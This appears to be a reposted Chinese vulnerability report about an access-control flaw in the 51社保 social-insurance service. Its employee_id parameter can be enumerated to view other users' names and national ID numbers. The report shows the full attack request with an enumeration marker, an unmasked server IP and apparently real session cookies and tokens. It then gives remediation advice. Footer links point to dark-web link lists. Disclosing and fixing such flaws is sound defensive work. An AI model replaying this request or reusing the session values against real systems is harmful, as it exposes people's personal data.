51社保某处越权漏洞导致用户信息泄露

51社保某处越权漏洞导致用户信息泄露
权限绕过查看任意用户个人信息,姓名,身份证等

  • 厂商 dingxue
  • 问题点
/shebao/fillinfomation?insurance_location_id=6&employee_id=203§66§&person_id=*****&action=zr01

危害描述

权限绕过查看任意用户个人信息,姓名,身份证等

漏洞产生原因

参数未过滤

测试过程

访问微小宝http://***.***.**.***:8015/,注册登录,填写个人信息,

在填写参保人信息处存在越权,employee_id参数可被遍历:

数据包如下:

GET /shebao/fillinfomation?insurance_location_id=6&employee_id=***§66§&person_id=***&action=zr01 HTTP/1.1
Host: ***.***.**.***:8015
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://101.200.47.130:8015/insuranceGoods/InsuredCity?employee_id=20367&person_id=1906&action=zr01&ppkstr=23a0c06b&sign=2ab6c3cc61823741e21c0c16b1535640
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=38472b126ad61367accf611ee2177868; sensorsdata_is_new_user=true; mediav=%7B%22eid%22%3A%22247642%22%2C%22ep%22%3A%22%22%2C%22vid%22%3A%22J%3C7.725%28S%5B%3A%23s%5BD.lsmc%22%2C%22ctn%22%3A%22%22%7D; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2215d7cb69eec252-027ceb515d3c64-396b4e08-1049088-15d7cb69eed504%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22%22%2C%22%24latest_referrer_host%22%3A%22%22%7D%7D; QIAO_CK_4496944_R=; XSRF-TOKEN=eyJpdiI6Ik4ydW01bHlYVk13cG5NQ1c1R0M5M2c9PSIsInZhbHVlIjoiNkNjc0trK1d1M3hcLzUxVmsyZ3htNlkwTER0NzB3M0dNVFF5Qzlrb2NSOW5WUmdCNHRaK1k5ZkFUcGFha1ZEbDJkeXdXYWpJdUpvWEpadE15b0RubVhnPT0iLCJtYWMiOiIyNGIwYzhjNDZmNDg1MDk2MzFkMWRhNDAwZmIwZWNiZDQ5MDA1MTA3YTIwMTBkZjQyZjMyY2Q0OTgyNWNhYmVmIn0%3D; JSESSIONID=ebaa9b41-e550-4d85-b86d-526a45188dc8; zg_a815ea19015249a89df426c65e1af46c=%7B%22sid%22%3A%201501038882.966%2C%22updated%22%3A%201501038882.974%2C%22info%22%3A%201501035913966%2C%22cuid%22%3A%20%22%22%7D; laravel_session=eyJpdiI6ImhxNUZlQTIwNUExc3RjZFhwcGxnR2c9PSIsInZhbHVlIjoiWkttQWFwMzIrRmF0amNPZmVqMVIrQUhKU3NKdVVTdHVQWU1rQzVNb1hJaG5pSDdPRlNpUmlOVGlWK1hhdzl2ZUZEekE1eXBqZyt5YzZaeHQ3MzR1dkE9PSIsIm1hYyI6ImQ4Yjc2YjI3OWE3OTYzZDMwNTFiMDA0MmNlODIzYTBiZDA1ZDZmNTM0MTkzMTljZDU2ZTY3NDFiMGRlMzNiZmUifQ%3D%3D; zg_did=%7B%22did%22%3A%20%2215d7cb662e3216-0784492e5511c4-396b4e08-100200-15d7cb662e43c7%22%7D; zg_0deb6c6901bb4eb1b0f324b22d68b5d1=%7B%22sid%22%3A%201501039780.298%2C%22updated%22%3A%201501039780.298%2C%22info%22%3A%201501035929285%7D; _ga=GA1.1.342311860.1501035929; _gid=GA1.1.581291768.1501035929; Hm_lvt_717da9fbbb380c7b043ea096861c919d=1501035929; Hm_lpvt_717da9fbbb380c7b043ea096861c919d=1501039780; responseTimeline=321; _qzja=1.1931991145.1501035929340.1501035929341.1501039780458.1501035929341.1501039780458.0.0.0.2.2; _qzjb=1.1501039780458.1.0.0.0; _qzjc=1; _qzjto=2.2.0; Hm_lvt_da0f0096fceb023ff28522eece668c90=1501035792; Hm_lpvt_da0f0096fceb023ff28522eece668c90=1501039803; Hm_lvt_9ff162bfe3685ed2a2c02c334f975e51=1501035792; Hm_lpvt_9ff162bfe3685ed2a2c02c334f975e51=1501039803
Connection: close

修复建议

业务逻辑缺陷: 1. 对数据操作时需要加锁。 2. 权限控制要设计好,避免操作越权出现。 3. 业务逻辑需要严谨控制,对敏感业务操作需要校验身份信息,修改操作需要二次验证, session ID 和认证的token做绑定,放在服务器的会话里,不发送给客户端。

此文章来源于
https://www.ddosi.com/2017/10/19/51/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)
from

使用Tor进行匿名文件分享 OnionShare 2

暗网网址34个 暗网网址大全 Tor links
暗网网址大全-9月4日更新30条-T1